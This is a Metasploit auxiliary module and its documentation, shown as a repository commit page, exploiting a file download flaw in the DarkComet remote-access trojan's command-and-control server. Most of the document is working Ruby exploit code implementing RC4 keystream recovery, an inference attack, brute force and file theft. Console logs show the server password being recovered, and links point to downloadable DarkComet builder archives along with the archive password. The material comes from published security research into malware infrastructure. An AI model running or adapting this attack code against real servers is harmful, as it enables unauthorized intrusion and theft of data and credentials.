This module exploits a publicly known vulnerability in the C2 server of DarkComet versions 3.2 and up
(https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf) which allows an attacker to download arbitrary files from the DarkComet C2. The vulnerability possibly affects versions prior to 3.2 as well. The vulnerability can be exploited without knowledge of the shared secret key by abusing a flaw in the cryptographic protocol to carry out a limited version of the exploit allowing for key recovery, after which the exploit can be used to download arbitrary files from a DarkComet C2 server. See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware for details. See https://mega.nz/#!wlZkSJLK!NI_Z-9UoPBQ0MDEYXLVr1wUJyVV70qVprWqSUol_53k for the DarkComet 5.3.1 C2 server / builder See https://mega.nz/#!AxRmkQLb!MVjwua3qrzgyXq7vUWSxISwVE7vQ8rEJbexieb8s0Ro for the DarkComet 4.2F C2 server / builder (archive password is 'tr') ## Console output Below is an example of the exploit running against versions 5.3.1 and 4.2F (DarkComet C2 server password is set to 'darkcometpass' and unknown to attacker). ### Version 5.3.1 (unknown password) ``` msf > use auxiliary/gather/darkcomet_filedownloader msf auxiliary(darkcomet_filedownloader) > show options Module options (auxiliary/gather/darkcomet_filedownloader): Name Current Setting Required Description ---- --------------- -------- ----------- BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password) LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server) NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1 RHOST 0.0.0.0 yes The target address RPORT 1604 yes The target port STORE_LOOT true no Store file in loot (will simply output file to console if set to false). TARGETFILE no Target file to download (assumes password is set) msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104 RHOST => 192.168.0.104 msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102 LHOST => 192.168.0.102 msf auxiliary(darkcomet_filedownloader) > run [*] 192.168.0.104:1604 - C2 server uses password [darkcometpass] [*] 192.168.0.104:1604 - Storing data to loot... [*] Auxiliary module execution completed msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false STORE_LOOT => false msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC51#-890darkcometpass KEY => #KCMDDC51#-890darkcometpass msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt TARGETFILE => C:\secret.txt msf auxiliary(darkcomet_filedownloader) > run [*] 192.168.0.104:1604 - omgsecret [*] Auxiliary module execution completed ``` ### Version 4.2F (unknown password) ``` msf > use auxiliary/gather/darkcomet_filedownloader msf auxiliary(darkcomet_filedownloader) > show options Module options (auxiliary/gather/darkcomet_filedownloader): Name Current Setting Required Description ---- --------------- -------- ----------- BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password) LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server) NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1 RHOST 0.0.0.0 yes The target address RPORT 1604 yes The target port STORE_LOOT true no Store file in loot (will simply output file to console if set to false). TARGETFILE no Target file to download (assumes password is set) msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104 RHOST => 192.168.0.104 msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102 LHOST => 192.168.0.102 msf auxiliary(darkcomet_filedownloader) > set NEWVERSION false NEWVERSION => false msf auxiliary(darkcomet_filedownloader) > run [*] 192.168.0.104:1604 - Missing 1 bytes of keystream ... [*] 192.168.0.104:1604 - Initiating brute force ... [*] 192.168.0.104:1604 - C2 server uses password [darkcometpass] [*] 192.168.0.104:1604 - Storing data to loot... [*] Auxiliary module execution completed msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC42F#-890darkcometpass KEY => #KCMDDC42F#-890darkcometpass msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false STORE_LOOT => false msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt TARGETFILE => C:\secret.txt msf auxiliary(darkcomet_filedownloader) > run [*] 192.168.0.104:1604 - omgsecret [*] Auxiliary module execution completed ```bug/bundler_fix
parent
5260031991
commit
ba6d00cee2
|
@ -0,0 +1,429 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DarkComet Server Remote File Download Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.
|
||||
The exploit does not need to know the password chosen for the bot/server communication.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery
|
||||
'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],
|
||||
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],
|
||||
],
|
||||
'DisclosureDate' => 'Oct 08 2012',
|
||||
'Platform' => 'win'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(1604),
|
||||
Opt::RHOST('0.0.0.0'),
|
||||
|
||||
OptString.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),
|
||||
OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),
|
||||
OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),
|
||||
OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),
|
||||
OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),
|
||||
OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])
|
||||
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext
|
||||
def xor_strings(s1, s2)
|
||||
s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')
|
||||
end
|
||||
|
||||
def get_keystream(ciphertext, known_plaintext)
|
||||
c = [ciphertext].pack('H*')
|
||||
if (known_plaintext.length > c.length)
|
||||
return xor_strings(c, known_plaintext[0, c.length])
|
||||
elsif (c.length > known_plaintext.length)
|
||||
return xor_strings(c[0, known_plaintext.length], known_plaintext)
|
||||
else
|
||||
return xor_strings(c, known_plaintext)
|
||||
end
|
||||
end
|
||||
|
||||
def use_keystream(plaintext, keystream)
|
||||
if (keystream.length > plaintext.length)
|
||||
ks_part = keystream[0, plaintext.length]
|
||||
else
|
||||
ks_part = keystream
|
||||
end
|
||||
return xor_strings(plaintext, ks_part).unpack('H*')[0].upcase
|
||||
end
|
||||
|
||||
# Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)
|
||||
# since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength
|
||||
def rc4_initialize(key)
|
||||
@q1, @q2 = 0, 0
|
||||
@key = []
|
||||
key.each_byte {|elem| @key << elem} while @key.size < 256
|
||||
@key.slice!(256..@key.size-1) if @key.size >= 256
|
||||
@s = (0..255).to_a
|
||||
j = 0
|
||||
0.upto(255) do |i|
|
||||
j = (j + @s[i] + @key[i] )%256
|
||||
@s[i], @s[j] = @s[j], @s[i]
|
||||
end
|
||||
end
|
||||
|
||||
def rc4_keystream
|
||||
@q1 = (@q1 + 1)%256
|
||||
@q2 = (@q2 + @s[@q1])%256
|
||||
@s[@q1], @s[@q2] = @s[@q2], @s[@q1]
|
||||
@s[(@s[@q1]+@s[@q2])%256]
|
||||
end
|
||||
|
||||
def rc4_process(text)
|
||||
text.each_byte.map {|i| (i ^ rc4_keystream).chr}.join
|
||||
end
|
||||
|
||||
def dc_encryptpacket(plaintext, key)
|
||||
rc4_initialize(key)
|
||||
return rc4_process(plaintext).unpack('H*')[0].upcase
|
||||
end
|
||||
|
||||
# Try to execute the exploit
|
||||
def try_exploit(exploit_string, keystream, bruting)
|
||||
connect
|
||||
idtype_msg = sock.get_once(12)
|
||||
|
||||
if (idtype_msg.length != 12)
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
if datastore['KEY'] != ''
|
||||
exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])
|
||||
else
|
||||
# If we don't have a key we need enough keystream
|
||||
if keystream == nil
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
if (keystream.length < exploit_string.length)
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
exploit_msg = use_keystream(exploit_string, keystream)
|
||||
end
|
||||
|
||||
sock.put(exploit_msg)
|
||||
|
||||
if bruting
|
||||
begin
|
||||
ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])
|
||||
rescue Timeout::Error
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
else
|
||||
ack_msg = sock.get_once(3)
|
||||
end
|
||||
|
||||
if (ack_msg != "\x41\x00\x43")
|
||||
disconnect
|
||||
return nil
|
||||
else
|
||||
# Different protocol structure for versions >= 5.1
|
||||
if datastore['NEWVERSION'] == true
|
||||
if bruting
|
||||
begin
|
||||
filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i
|
||||
rescue Timeout::Error
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
else
|
||||
filelen = sock.get_once(10).to_i
|
||||
end
|
||||
if (filelen == 0)
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
if datastore['KEY'] != ''
|
||||
a_msg = dc_encryptpacket('A', datastore['KEY'])
|
||||
else
|
||||
a_msg = use_keystream('A', keystream)
|
||||
end
|
||||
|
||||
sock.put(a_msg)
|
||||
|
||||
if bruting
|
||||
begin
|
||||
filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])
|
||||
rescue Timeout::Error
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
else
|
||||
filedata = sock.get_once(filelen)
|
||||
end
|
||||
|
||||
if (filedata.length != filelen)
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
sock.put(a_msg)
|
||||
disconnect
|
||||
return filedata
|
||||
else
|
||||
filedata = ''
|
||||
|
||||
if bruting
|
||||
begin
|
||||
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
|
||||
rescue Timeout::Error
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
else
|
||||
msg = sock.get_once(1024)
|
||||
end
|
||||
|
||||
while ((msg != nil) and (msg != '')) do
|
||||
filedata += msg
|
||||
if bruting
|
||||
begin
|
||||
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
|
||||
rescue Timeout::Error
|
||||
break
|
||||
end
|
||||
else
|
||||
msg = sock.get_once(1024)
|
||||
end
|
||||
end
|
||||
|
||||
disconnect
|
||||
|
||||
if (filedata == '')
|
||||
return nil
|
||||
else
|
||||
return filedata
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Fetch a GetSIN response from C2 server
|
||||
def fetch_getsin()
|
||||
connect
|
||||
idtype_msg = sock.get_once(12)
|
||||
|
||||
if (idtype_msg.length != 12)
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
keystream = get_keystream(idtype_msg, 'IDTYPE')
|
||||
server_msg = use_keystream('SERVER', keystream)
|
||||
sock.put(server_msg)
|
||||
|
||||
getsin_msg = sock.get_once(1024)
|
||||
disconnect
|
||||
return getsin_msg
|
||||
end
|
||||
|
||||
# Carry out the crypto attack when we don't have a key
|
||||
def crypto_attack(exploit_string)
|
||||
getsin_msg = fetch_getsin()
|
||||
if getsin_msg == nil
|
||||
return nil
|
||||
end
|
||||
|
||||
getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'
|
||||
keystream = get_keystream(getsin_msg, getsin_kp)
|
||||
|
||||
if (keystream.length < exploit_string.length)
|
||||
missing_bytecount = exploit_string.length - keystream.length
|
||||
|
||||
print_status("Missing #{missing_bytecount} bytes of keystream ...")
|
||||
|
||||
inferrence_segment = ''
|
||||
brute_max = 4
|
||||
|
||||
if (missing_bytecount > brute_max)
|
||||
print_status("Using inferrence attack ...")
|
||||
|
||||
# Offsets to monitor for changes
|
||||
target_offset_range = []
|
||||
for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)
|
||||
target_offset_range << i
|
||||
end
|
||||
|
||||
# Store inference results
|
||||
inference_results = {}
|
||||
|
||||
# As long as we haven't fully recovered all offsets through inference
|
||||
# We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]
|
||||
getsin_observation = ['']*4
|
||||
buffer_head = 0
|
||||
|
||||
for i in 0..2
|
||||
getsin_observation[i] = [fetch_getsin()].pack('H*')
|
||||
Rex.sleep(0.5)
|
||||
end
|
||||
|
||||
buffer_tail = 3
|
||||
|
||||
# Actual inference attack happens here
|
||||
while (target_offset_range.length != 0) do
|
||||
getsin_observation[buffer_tail] = [fetch_getsin()].pack('H*')
|
||||
Rex.sleep(0.5)
|
||||
|
||||
# We check if we spot a change within a position between two consecutive items within our circular buffer (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0
|
||||
target_offset_range.each do |x|
|
||||
index = buffer_head
|
||||
|
||||
while (index != buffer_tail) do
|
||||
next_index = (index + 1) % 4
|
||||
|
||||
# The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same
|
||||
# observations as well while being constant in at least one previous or subsequent observation
|
||||
if ((getsin_observation[index][x] != getsin_observation[next_index][x]) and (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) and ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) or (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1])))
|
||||
target_offset_range.delete(x)
|
||||
inference_results[x] = xor_strings(getsin_observation[index][x], '9')
|
||||
break
|
||||
end
|
||||
index = next_index
|
||||
end
|
||||
end
|
||||
|
||||
# Update circular buffer head & tail
|
||||
buffer_tail = (buffer_tail + 1) % 4
|
||||
# Move head to right once tail wraps around, discarding oldest item in circular buffer
|
||||
if (buffer_tail == buffer_head)
|
||||
buffer_head = (buffer_head + 1) % 4
|
||||
end
|
||||
end
|
||||
|
||||
# Inferrence attack done, reconstruct final keystream segment
|
||||
inf_seg = ["\x00"]*(keystream.length + missing_bytecount)
|
||||
inferrence_results.each do |x, val|
|
||||
inf_seg[x] = val
|
||||
end
|
||||
|
||||
inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join
|
||||
missing_bytecount = brute_max
|
||||
end
|
||||
|
||||
if (missing_bytecount > brute_max)
|
||||
print_status("Improper keystream recovery ...")
|
||||
return nil
|
||||
end
|
||||
|
||||
print_status("Initiating brute force ...")
|
||||
|
||||
# Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)
|
||||
charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
|
||||
char_range = missing_bytecount.times.map{ charset }
|
||||
char_range.first.product(*char_range[1..-1]) do |x|
|
||||
p = x.join
|
||||
candidate_plaintext = getsin_kp + p
|
||||
candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment
|
||||
filedata = try_exploit(exploit_string, candidate_keystream, true)
|
||||
|
||||
if (filedata != nil)
|
||||
return filedata
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
return try_exploit(exploit_string, keystream, false)
|
||||
end
|
||||
|
||||
def parse_password(filedata)
|
||||
filedata.each_line { |line|
|
||||
elem = line.strip.split('=')
|
||||
if (elem.length >= 1)
|
||||
if (elem[0] == 'PASSWD')
|
||||
if (elem.length == 2)
|
||||
return elem[1]
|
||||
else
|
||||
return ''
|
||||
end
|
||||
end
|
||||
end
|
||||
}
|
||||
return nil
|
||||
end
|
||||
|
||||
def run
|
||||
# Determine exploit string
|
||||
if datastore['NEWVERSION'] == true
|
||||
if ((datastore['TARGETFILE'] != '') and (datastore['KEY'] != ''))
|
||||
exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'
|
||||
else
|
||||
exploit_string = 'QUICKUP1|config.ini|'
|
||||
end
|
||||
else
|
||||
if ((datastore['TARGETFILE'] != '') and (datastore['KEY'] != ''))
|
||||
exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'
|
||||
else
|
||||
exploit_string = 'UPLOADconfig.ini|1|1|'
|
||||
end
|
||||
end
|
||||
|
||||
# Run exploit
|
||||
if datastore['KEY'] != ''
|
||||
filedata = try_exploit(exploit_string, nil, false)
|
||||
else
|
||||
filedata = crypto_attack(exploit_string)
|
||||
end
|
||||
|
||||
# Harvest interesting credentials, store loot
|
||||
if filedata == nil
|
||||
print_status("Attack seems to have failed, no configfile data retrieved...")
|
||||
else
|
||||
# Automatically try to extract password from config.ini if we haven't set a key yet
|
||||
if datastore['KEY'] == ''
|
||||
password = parse_password(filedata)
|
||||
if password == nil
|
||||
print_status("Could not find password in config.ini ...")
|
||||
elsif password == ''
|
||||
print_status("C2 server uses empty password!")
|
||||
else
|
||||
print_status("C2 server uses password [#{password}]")
|
||||
end
|
||||
end
|
||||
|
||||
# Store to loot
|
||||
if datastore['STORE_LOOT'] == true
|
||||
print_status("Storing data to loot...")
|
||||
if ((datastore['KEY'] == '') and (datastore['TARGETFILE'] != ''))
|
||||
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")
|
||||
else
|
||||
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")
|
||||
end
|
||||
else
|
||||
print_status("#{filedata}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue